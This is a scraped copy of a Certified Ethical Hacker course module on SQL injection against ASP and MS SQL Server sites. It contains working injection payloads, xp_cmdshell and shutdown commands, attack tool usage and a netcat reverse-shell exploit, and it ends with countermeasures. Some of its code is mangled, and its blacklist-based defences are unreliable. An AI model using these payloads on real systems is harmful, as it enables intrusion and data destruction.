SlideShare una empresa de Scribd logo
1 de 27
Descargar para leer sin conexión
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 1 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
Ethical Hacking
Module XIV
SQL Injection
Ethical Hacking (EH)
Module XIV: SQL Injection
Exam 312-50 Ethical Hacking and Countermeasures
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 2 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Module Objective
What is SQL Injection?
Exploiting the weakness of Server Side
Scripting
Using SQL Injection techniques to gain access
to a system
SQL Injection Scripts
Attacking Microsoft SQL Servers
MSSQL Password Crackers
Prevention and Countermeasures
Module Objectives
In this module, the reader will be introduced to the concept of SQL injection and how an attacker
can exploit this attack methodology on the Internet. On completion of this module you will be
familiar with:
• What is SQL Injection?
• Exploiting the weakness of Server Side Scripting
• Using SQL Injection techniques to gain access to a system
• SQL Injection Scripts
• Attacking Microsoft SQL Servers
• MSSQL Password Crackers
• Prevention and Countermeasures
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 3 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Introduction - SQL Injection
SQL Injection is an attack methodology that targets the data residing in a database through the
firewall that shields it. It attempts to modify the parameters of a Web-based application in order
to alter the SQL statements that are parsed to retrieve data from the database.
This is perhaps the simplest definition of SQL injection. Naturally, the first step in this direction
should be to uncover web applications that are vulnerable to the attack. The attack takes
advantage of poor code and website administration.
In SQL injection, user controlled data is placed into a SQL query without being validated for
correct format or embedded escape strings. It has been known to affect majority of applications
which use a database backend and do not force variable types. It has been estimated that at least
50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to
this attack. The dominant cause is however the improper validation in CFML, ASP, JSP, and PHP
codes.
-------------------------------------------------------------------------------------------------------------------
Mark had just found out that his ex-partner in the e-commerce venture had convinced the
venture capitalist to divert the funds from his company to a rival organization. Mark had been
suspecting this for a while, ever since his partner Nicholas had mentioned that he was pulling
out as he had too many commitments on hand.
The rival site was already in production and Mark was curious as to how they could host it so
quickly. He had been working on his site for a month now and knew the extent of code
validation a similar site would require.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 4 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
He clicked on the banner ad and started browsing the site. The idea behind the site looked very
familiar – including the byline. Would the code also be familiar? He would soon find out.
-------------------------------------------------------------------------------------------------------------------
How does an attacker go about uncovering the susceptible web application? This discovery
phase includes activities such as looking at WebPages for anything resembling an ID number,
category, or name. The attacker may sift through all forms of variables as well as cookies. Many a
times session cookies are stored in a database and these cookies are passed into SQL queries with
little or no format checks. He may try placing various strings into form fields and in query
variables. However, typically, someone looking for SQL vulnerability will start off with single and
double quotes and then try with parenthesis and the rest of the punctuation characters. The
response expected is any response signifying an error.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 5 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
OLE DB Errors
The user filled fields are enclosed by single quotation marks
('). So a simple test of the form would be to try using (') as the
username.
Lets us see what happens if we just enter ' in a form that is
vulnerable to SQL insertion.
If you get this error, then we can try
SQL injection techniques.
-------------------------------------------------------------------------------------------------------------------
Mark began his quest using the single quote in the User ID field of the login page. It returned an
error just as he had suspected it would.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 6 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
------------------------------------------------------------------------------------------------------------
Let us take a look at the error message.
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string '''.
/corner/asp/checklogin1.asp, line 7
Browser Type:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Page:
POST 36 bytes to /corner/asp/checklogin1.asp
POST Data:
userid=%27&userpwd=%27&Submit=Submit
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 7 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
This output is the first lead the attacker can use. He has a greater chance of succeeding if he can
find out which database he is pitted against. This is called database footprinting.
Database footprinting is the process of mapping out the tables on the database. Identifying
the configuration of the server is crucial in deciding how the site will be attacked. The method
chosen to do this will depend on how poorly the server has been configured. In the error
statement shown above, it is clear that the site is using a SQL Server.
Note that SQL Injection is the attack on the web application, not the web server or services
running in the OS. It is typical of an HTML page to use the POST command to send parameters to
another ASP page. On a closer look at the source code we find the “FORM” tag, <form
name="form1" method="post" action="checklogin1.asp"> Let us look at the implications.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 8 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Input Validation attack
Input validation attack occurs here on a website
Exploits occur due to coding errors and inadequate validation checks as well. Often, the emphasis
is on acquiring an input and delivering a suitable output. Web applications that do not check the
validity of its input, are exposed to the attack. We have seen how a single quote was used to check
the web application for SQL injection vulnerability.
Let us take a look at a login script. The login page at www.example.com/login.htm is based on this
code.
<form action="Checklogin.asp" method="post">
Username: <input type="text" name="user_name"><br>
Password: <input type="password" name="pwdpass"><br>
<input type="submit">
</form>
The above form points to checklogin.asp where we come across the following code.
<%
Dim p_struser, p_strpass, objRS, strSQL
p_struser = Request.Form("user_name")
p_strpass = Request.Form("pwdpass")
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 9 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
strSQL = "SELECT * FROM tblUsers " & _
"WHERE user_name='" & p_strusr & _
"' and pwdpass='" & p_strpass & "'"
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("user_name")
End If
Set objRS = Nothing
%>
At a cursory glance this code looks alright and does what it is supposed to do – check for a valid
username and password and allow the user to access the site if it the credentials are valid.
However, note the above statement where the user input from the form is directly used to build a
SQL statement. There is no input validation regarding the nature of input. It gives direct control
to an attacker who wants to access the database.
For instance if the attacker enters a SELECT statement such as SELECT * FROM tblUsers
WHERE user_name='' or ''='' and pwdpass = '' or ''='', the query will be executed and all the users
from the queried table will be displayed as output. Moreover, the first attacker will be logged in as
the first user identified by the first record in the table. It is quite probable that the first user is the
superuser or the administrator. Since the form does not check for special characters such as “=”,
the attacker is able to use these to achieve his malicious intent. For clarity sake, let us look at a
secure code. Note the use of the REPLACE function to take care of the single quote input.
<% Else
strSQL = "SELECT * FROM tblUsers " _ &
strSQL = "SELECT * FROM tblUsers " & _
"WHERE user_name='" & p_strusr & _
"' and pwdpass='" & p_strpass & "'"
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 10 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
"WHERE username='" & Replace(Request.Form("usr_name"), "'", "''") & "' " _ &
"AND password='" & Replace(Request.Form("pwdpass"), "'", "''") & "';"
Set Login = Server.CreateObject("ADODB.Connection")
Login.Open("DRIVER={Microsoft Access Driver (*.mdb)};" _ &
"DBQ=" & Server.MapPath("login.mdb"))
Set rstLogin = Login.Execute(strSQL)
If Not rstLogin.EOF Then
%>
SQL Server, among other databases, delimits queries with a semi-colon. The use of a semi-
colon allows multiple queries to be submitted as one batch and executed sequentially. For
example, the query Username: ' or 1=1; drop table users; -- will be executed in two parts. Firstly, it
would select the userName field for all rows in the users table. Secondly, it would delete the users
table.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 11 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Login Guessing & Insertion
The attacker can try to login without a password.
Typical usernames would be 1=1 or any text within
single quotes.
The most common problem seen on Microsoft MS-
SQL boxes is the default <blank>sa password.
The attacker can try to guess the username of an
account by querying for similar user names (ex:
‘ad%’ is used to query for “admin”).
The attacker can insert data by appending
commands or writing queries.
In the preceding example we have seen how web application vulnerability could be detected using
a single quote. We have also seen how improper input validation can result in an attacker
accessing the database. Here, we will examine how an attacker can guess his way into the site.
From database fingerprinting, if the attacker has determined that the database backend is
SQL server, he will try his luck with the default admin login credentials – namely sa and a blank
password.
Alternatively he can issue a query so that his query would retrieve a valid username. For instance,
to retrieve the administrative account, he can query for users.userName like 'ad%' ---
Now if the attacker does not want to login and just wants to ‘harvest’ the site, he may try to view
extra information which is not otherwise available. He can choose to transform the url such as the
ones shown below to retrieve information.
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools
Here, the “sCategory” is the variable name, and “Tools” is the value assigned to the variable. The
attacker changes this valid url into:
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits
If the code underlying the page has a segment similar to the one shown below:
sub_cat = request("sCategory")
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 12 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
sqlstr="SELECT * FROM product WHERE Category='" & sub_cat & "'"
set rs=conn.execute(sqlstr)
Now, the value “Kits” taken in by the variable “sCategory” is attributed to sub_cat and hence the
SQL statement becomes:
SELECT * FROM product WHERE Category='Kits'
Therefore the output will be a result set containing rows that match the WHERE condition.
If the attacker appends the following to the valid url,
http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools’or1=1—
the SQL statement becomes SELECT * FROM product WHERE Category='Tools’ or 1=1--'
This leads the query to select everything from the product table irrespective of whether Category
equals ‘Tools’ or not. The double dash “--“ instructs the SQL Server to ignore the rest of the query.
This is done to eliminate the last hanging single quote (‘). Sometimes, it is possible to replace
double dash with single hash “#”.
If the database backend in question is not an SQL Server, it will not consider the double dash. The
attacker can then try appending ‘ or ‘a’=’a, which should return the same result.
Depending on the actual SQL query, the various possibilities available to the attacker are:
‘ or 1=1--
“ or 1=1--
or 1=1--
‘ or ‘a’=’a
“ or “a”=”a
‘) or (‘a’=’a
To use the database for his malevolent intent, the attacker needs to figure out more than just what
database is running at the backend. He will have to determine the database structure and tables.
Revisiting our product table, we see that the attacker can insert commands such as:
insert into Category value (warez)
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 13 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
Suppose the attacker wants to add a description of the files he intends to upload, he will need to
determine the structure of the table. He might be able to do just that, if error messages are
returned from the application according to the default behavior of ASP and decipher any value
that can be read by the account the ASP application is using to connect to the SQL Server.
The insertion methods will vary according to the database at the backend. For instance, MS SQL
is considered to be the easiest system for SQL Insertion. Oracle has no native command execution
capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL -
though without as many stored procedures. MySQL is very limited in scope. SubSelects are a
possibility with newer versions. It is typically restricted to one SQL command per query.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 14 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Shutting Down SQL Server
One of SQL Server's most powerful commands is
SHUTDOWN WITH NOWAIT, which causes it to
shutdown, immediately stopping the Windows
service.
Username: ' ; shutdown with nowait; -
- Password [Anything]
This can happen if the script runs the following
query:
select userName from users where
userName='; shutdown with
nowait;-' and user_Pass=' '
The default installation of SQL Server has the system account (sa) which is accorded all the
privileges of the administrator. An attacker who happens to stumble across this account while
harvesting websites can take advantage of this and gain access to all commands, delete, rename,
and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done
with the site is to issue a denial of service by shutting down the SQL Server.
A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This
causes the server to shutdown, immediately stopping the Windows service. In order to restart the
server after this command has been issued, the administrator will require the SQL service
manager or some other restart method.
Let us take a look at an example. At an input form such as login, which is susceptible to SQL
injection, the attacker issues the following command.
Username: '; shutdown with nowait; --
Password: [Anything]
This would make our login.asp script run the following query:
select userName from users where userName='';
shutdown with nowait; --' and userPass=''
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 15 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
As mentioned before, the '--' character sequence is the 'single line comment' sequence in
Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. If
he has used the default sa account, or has acquired the required privileges, SQL server will shut
down, and will require a restart in order to function again.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 16 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Extended Stored Procedures
There are several extended stored procedures
that can cause permanent damage to a system.
We can execute an extended stored procedure
using our login form with an injected command
as the username as follows:
Username: ' ; exec master..xp_xxx; --
Password: [Anything]
Username: ' ; exec master..xp_cmdshell '
iisreset' ; --
Password: [Anything]
A stored procedure is a collection of SQL statements that can be called as though they were a
single function. A SQL stored procedure is similar to a batch file – both are text files consisting of
commands, and can be run by invoking the name of the procedure or batch file. An extended
stored procedure (XP) takes the notion of a stored procedure one step further. Where stored
procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs.
Stored procedures primarily consists of SQL commands, while XPs can provide entirely new
functions via their code.
An attacker can take advantage of extended stored procedure by entering a suitable
command. This is possible if there is no proper input validation. xp_cmdshell is a built-in
extended stored procedure that allows the execution of arbitrary command lines. For example:
exec master..xp_cmdshell 'dir' will obtain a directory listing of the current working directory of
the SQL Server process. In our example, the attacker may try entering the following input into a
search form can be used for the attack.
' exec master..xp_cmdshell 'product handycam/DELETE' --
When the query string is parsed and sent to SQL Server, the server will process the following
code:
SELECT * FROM PTable WHERE inputtext ='' exec master..xp_cmdshell ' product
handycam/DELETE' --'
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 17 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
The advantage of this attack method is that the DLL file only needs to be present on a machine
accessible by the SQL Server. Here, the first single quote entered by the user closes the string and
SQL Server executes the next SQL statements in the batch including a command to delete a
product to the product table in the database.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 18 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
SQL Server Talks!
This command uses the 'speech.voicetext' object, causing
the SQL Server to speak:
It is possible for an attacker to leverage built-in extended stored procedures which are provided
for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in
VBScript or JavaScript, and they create automation objects and interact with them. They are
functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can
accomplish what an ASP script or a WSH script will do.
Of the possible attack methodologies, this is an interesting one documented by Chris Anley in his
oft quoted paper ‘Advanced SQL Injection techniques’. This is one example from his paper that
illustrates this aspect.
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers belong to us', 528
waitfor delay '00:00:05'
This uses the 'speech.voicetext' object, causing the SQL Server to speak.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 19 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Hacking Tool: SQLDict
http://ntsecurity.nu/cgi-
bin/download/sqldict.exe.pl
"SQLdict"is a dictionary
attack tool for SQL Server.
It lets you test if the
accounts are strong enough
to resist an attack or not.
We have discussed password cracking earlier in different contexts. When it comes to SQL
Server, the fundamental attack methodology remains the same- dictionary attack and brute force.
The only restraint for an attacker in implementing these attacks is that both require a local copy
of the SQL Server’s hashes. As part of its defensive measure, SQL Server does restrict access to the
password hashes in the syslogin table to administrator level users by default.
However if the attacker has gained privileges to access then he can first try a dictionary
attack. One such tool that can be used in this context is SQLdict. It is a dictionary attack tool for
SQL Server and tests for vulnerable accounts.
If this is unsuccessful, he can opt for a brute force attack. Though it is much slower, the brute
force attack computes the hashes of every single possible combination of letters, numbers and
punctuation characters for comparison with the stored hashes. It is possible to brute force SQL
Server accounts remotely over the network.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 20 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Hacking Tool: SQLExec
This tool executes commands on compromised MIcrosoft SQL Servers
using xp_cmdshell stored procedure.
It uses default sa account with NULL password. But this can be
modified easily.
USAGE: SQLExec www.target.com
SQLExec is a command-line interface written by Egemen Tas for MS-SQL servers that will
allow an attacker to execute commands on the underlying operating system, execute SQL queries
and upload files to the remote server. It allows the attacker to execute remote commands as
Administrator over tcp port 1433. It logs in with the default password (changeable) and includes a
built-in scanner for finding unsecured hosts on the network.
It is known that MS SQL Server comes with default SA(Sys Admin) account with NULL password.
It seems that many system administrators do not take care of dangers of this situation.
Because while we are searching the net we have found that over %80 of hosts we have scanned
still have account SA with NO Password.
By default SQL server comes with a few stored procedures .xp_cmdshell is one of them and used
for executing commands with SQL server. Again by default SQL server installs it self with
administrative privileges (Administrator). If some one has a right to access master database this
means he can execute commands on the host. If the connected user is SA then commands are
executed with the context of SQL server (Administrator by default) otherwise with the context of
SQLExecutiveCmdExecAccount. Of course these behaviors occur with default installations.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 21 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Hacking Tool: sqlbf
http://www.cqure.net/tools.jsp?id=10
Sqlbf is a SQL Sever Password Auditing tool. This tool should be
used to audit the strength of Microsoft SQL Server passwords
offline. The tool can be used either in BruteForce mode or in
Dictionary attackmode. The performance on a 1GHZ pentium
(256MB) machine is around 750,000 guesses/sec.
To be able to perform an audit, one needs the password hashes
that are stored in the sysxlogins table in the master database.
The hashes are easy to retrieve although you need a privileged
account to do so, like an sa account. The query to use would be:
select name, password from master..sysxlogins
To perform a dictionary attack on the retrieved hashes:
sqlbf -u hashes.txt -d dictionary.dic -r
out.rep
This tool can be used to audit the strength of SQL Server passwords offline. The tool can be
used either in Brute Force mode or in Dictionary attack mode. The performance on a 1 GHz
Pentium (256mb) is around 750 000 guesses/sec.
The program takes the password hashes as the input (The password hashes needs to be formatted
in a text file accordingly) <username>, <hash>
• To perform a dictionary attack on the retrieved hashes:
usage
sqlbf -u hashes.txt -d dictionary.dic -r out.rep
This will run the dictionary.dic against the hashes in the hashes.txt file and report
found matches in the out.rep file.
• To perform a brute force attack on the retrieved hashes:
usage
sqlbf -u hashes.txt -c default.cm -r out.rep
This will try to brute force the passwords by using the supplied character set in
the default cm and output the results to out.rep.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 22 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Hacking Tool: SQLSmack
SQLSmack is a Linux based Remote Command Execution
for MSSQL.
The tool allows when provided with a valid username and
password on a remote MS SQL Server to execute
commands by piping them through the stored procedure
master..xp_cmdshell
The tool allows when provided with a valid username and password on a remote Microsoft
SQL server to execute commands by piping them through the stored procedure
master..xp_cmdshell.
[sqlsmack installation]
1. Install FreeTDS (url: http://www.freetds.org/download.html)
$ tar -zpxvf freetds-0.XX.tgz
$ cd freetds-0.XX
$ ./configure --with-tdsver=70 --enable-msdblib
$ make
$ su
# make install
2. Install the FreeTDS PERL Module (url: http://www.cpan.org/authors/id/S/SP/SPANNRING)
* This assumes you already have the DBI module installed.
$ tar -zpxvf DBD-FreeTDS-0.XX.tgz
$ cd DBD-FreeTDS-0.XX
$ perl Makefile.PL
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 23 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
$ make
$ su
# make install
3. Usage
[run system commands]
$ ./sqlsmack.pl -h <ip> -c 'net view'
[dump databases records]
$ ./sqlsmack.pl -h <ip> -d MONEYDB -q 'SELECT * FROM users'
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 24 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Hacking Tool: SQL2.exe
SQL2 is a UDP Buffer Overflow Remote Exploit hacking
tool.
Using sql2.exe, a remote user can reportedly send a specially crafted packet to the SQL Server
2000 Resolution Service on UDP port 1434 to trigger one of two overflows, a heap overflow or a
stack overflow. This could cause the SQL server service to crash or it could cause arbitrary code to
be executed in the security context of the SQL Server service.
This tool will compromise the SQL Server and spawn a remote shell to a system of the attacker’s
choosing. The tool exploits a buffer overflow. Traditional Windows shellcode uses pipes to
communicate to shell and the process - using the pipes as standard in, out and error. This code
uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess()
as the handle for standard in, out and error. Once the shell has been created it then connects out
to a given IP address and port. It therefore becomes a remote exploit which uses UDP to overflow
a buffer and send a shell to tcp port 53.
SQL2 Syntax
Launch two command prompt windows:
CMD Window 1 Launch Netcat
c:> nc -l -p 53
CMD Window 2 Launch SQL2 tool
c:> sql2.exe 2.3.4.5 5.6.4.4 53 0
(sql2 <victim's ip> <your ip> <netcat port> <SQL Service pack>)
This tool gained popularity as the code was used in the slammer worm, which affected a large
number of websites.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 25 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Preventive Measures
Minimize Privileges of Database Connection
Disable verbose error messages
Protect the system account ‘sa’
Audit Source Code
• Escape Single Quotes
• Allow only good input
• Reject known bad input
• Restrict length of input
As we've seen from the examples discussed above, the majority of injection attacks require the
user of single quotes to terminate an expression. By using a simple replace function and
converting all single quotes to two single quotes, you're greatly reducing the chance of an injection
attack succeeding.
Using ASP, it's a simple matter of creating a generic replace function that will handle the single
quotes automatically, like this:
<%
function stripQuotes(strWords) <br />
stripQuotes = replace(strWords, &quot;'&quot;, &quot;''&quot;) <br />
end function
%>
Now if we use the stripQuotes function in conjunction with our first query for example, then it
would go from this:
select count(*) from users where userName='alice' and
userPass='' or 1=1 --'
...to this:
select count(*) from users where userName='alice’ and
userPass=''' or 1=1 --'
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 26 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
This, in effect, stops the injection attack from taking place, because the clause for the WHERE
query now requires both the userName and userPass fields to be valid.
Remove Culprit Characters/Character Sequences: As we've seen before, certain characters
and character sequences such as ;, --, select, insert and xp_ can be used to perform an SQL
injection attack. By removing these characters and character sequences from user input before we
build a query, we can help reduce the chance of an injection attack even further. As with the single
quote solution, we just need a basic function to handle this:
<%
function killChars(strWords)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert",
"delete", "xp_")
newChars = strWords
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
killChars = newChars
end function
%>
Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection
attack from succeeding. So if the query:
select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database targetDB; --
is run through stripQuotes and then killChars, it would end up looking like this:
prodName from products where id=1 cmdshell ''format c:
/q /yes '' database targetDB
This is basically useless, and will return no records from the query. By keeping all text boxes and
form fields as short as possible, the number of characters that can be used to formulate an SQL
injection attack is greatly reduced. Additional countermeasures include checking data type, and
using the post method where possible to post forms.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection
Module XIV Page 27 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All rights reserved. Reproduction is strictly prohibited
EC-Council
Summary
SQL Injection is an attack methodology that targets the data residing
in a database through the firewall that shields it.
It attempts to modify the parameters of a Web-based application in
order to alter the SQL statements that are parsed to retrieve data
from the database.
Database footprinting is the process of mapping out the tables on the
database and is a crucial tool in the hands of an attacker.
Exploits occur due to coding errors as well as inadequate validation
checks .
Prevention involves enforcing better coding practices and database
administration procedures.
Summary
Recap
• SQL Injection is an attack methodology that targets the data residing in a database
through the firewall that shields it.
• It attempts to modify the parameters of a Web-based application in order to alter the SQL
statements that are parsed to retrieve data from the database.
• Database footprinting is the process of mapping out the tables on the database and is a
crucial tool in the hands of an attacker.
• Exploits occur due to coding errors as well as inadequate validation checks.
• Prevention involves enforcing better coding practices and database administration
procedures.

Más contenido relacionado

La actualidad más candente

OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksMohamed Talaat
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicJW CyberNerd
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013tmd800
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 
SQL Injections and Behind...
SQL Injections and Behind...SQL Injections and Behind...
SQL Injections and Behind...arjunguptam
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
Web Security attacks and defense
Web Security attacks and defenseWeb Security attacks and defense
Web Security attacks and defenseJose Mato
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmersrobin_bene
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attackRaghav Bisht
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)Nitroxis Sprl
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...Edureka!
 
4 andrii kudiurov - web application security 101
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101Ievgenii Katsan
 
Seminar2015Bilic_Nicole
Seminar2015Bilic_NicoleSeminar2015Bilic_Nicole
Seminar2015Bilic_NicoleNicole Bili?
 
Protecting web apps
Protecting web appsProtecting web apps
Protecting web appsOmkar Parab
 
In graph we trust: Microservices, GraphQL and security challenges
In graph we trust: Microservices, GraphQL and security challengesIn graph we trust: Microservices, GraphQL and security challenges
In graph we trust: Microservices, GraphQL and security challengesMohammed A. Imran
 

La actualidad más candente (20)

OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? Infographic
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
SQL Injections and Behind...
SQL Injections and Behind...SQL Injections and Behind...
SQL Injections and Behind...
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Web Security attacks and defense
Web Security attacks and defenseWeb Security attacks and defense
Web Security attacks and defense
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)
 
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
What is SQL Injection Attack | How to prevent SQL Injection Attacks? | Cybers...
 
Hacking 101 3
Hacking 101 3Hacking 101 3
Hacking 101 3
 
4 andrii kudiurov - web application security 101
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Seminar2015Bilic_Nicole
Seminar2015Bilic_NicoleSeminar2015Bilic_Nicole
Seminar2015Bilic_Nicole
 
Protecting web apps
